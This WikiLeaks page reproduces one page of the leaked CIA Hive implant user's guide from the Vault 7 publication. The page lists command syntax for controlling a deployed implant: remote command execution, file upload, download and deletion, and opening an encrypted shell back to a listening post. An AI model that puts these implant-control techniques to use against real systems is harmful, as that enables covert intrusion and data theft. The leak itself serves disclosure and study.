WikiLeaks - Vault 7: Projects

# Vault 7: Projects

This publication series is about specific projects related to the Vault 7 main publication.

### Hive

# Users Guide

9 November, 2015

- 1
- 2
…
- 15
- 16
- 17
- 18
- 19
…
- 30
- 31

SECRET//NOFORN
(U) Hive 2.9.1 User's Guide (U) Deployment
3.4.1.1.5 (S) Connected State
(S) Once the cutthroat client is connected to the implant, additional commands will be available for
control of the implant. Below is the list of available commands:
cmd exec execute an application on the remote computer. As an argument,
enclose the command to execute in double or single quotes. See
example below.
file put upload a file to the remote computer. Requires 2 arguments: source and
destination filenames. NOTE: Be sure the target has sufficient
space for the file, as Hive does not currently provide any
indication of an unsuccessful transfer due to insufficient space
on the filesystem.
file get upload a file to the remote computer. Requires 2 arguments: source and
destination filenames.
file delete delete a file on the remote computer. Requires 1 argument: filename.
ilm exit close the Listener's TCP connection, but keep the server implant running
on the remote computer. Cutthroat application stays open. Same as
shutdown now.
quit close the Listener's TCP connection, but keep the server implant running
on the remote computer. Cutthroat application will also close.
shutdown
now
close the Listener's TCP connection, but keep the server implant running
on the remote computer. Cutthroat application stays open. Same as ilm
exit.
shell open open an encrypted shell with the client (as a separate process). Takes
three parameters in the following order: client IP address, client port
number, and a password that initializes the Twofish symmetric cipher.
See the example below. Hive v2.9.1 supports the encrypted secure shell
on all devices.
NOTE: Shell terminal windows will remain open and connected
to the target host until exited. If “quit” is issued on the ILM
command line, the ILM session may wait for all clients to exit
before exiting itself. If the ILM session is killed (such as with
CTRL-C), then all open shell terminals may also be terminated.
This behavior varies with the target and/or client platform.
(S) Command Syntax
cmd exec “<command>”
file put <local file path> <remote file path>
file get <remote file path> <local file path>
file delete <remote file path>
ilm exit
quit
shutdown now
shell open <IP address of listening post> <port number> <password>
NOTE: Wild card characters such as “*” cannot be used in filenames.
SECRET//NOFORN//20401109 13

- 1
- 2
…
- 15
- 16
- 17
- 18
- 19
…
- 30
- 31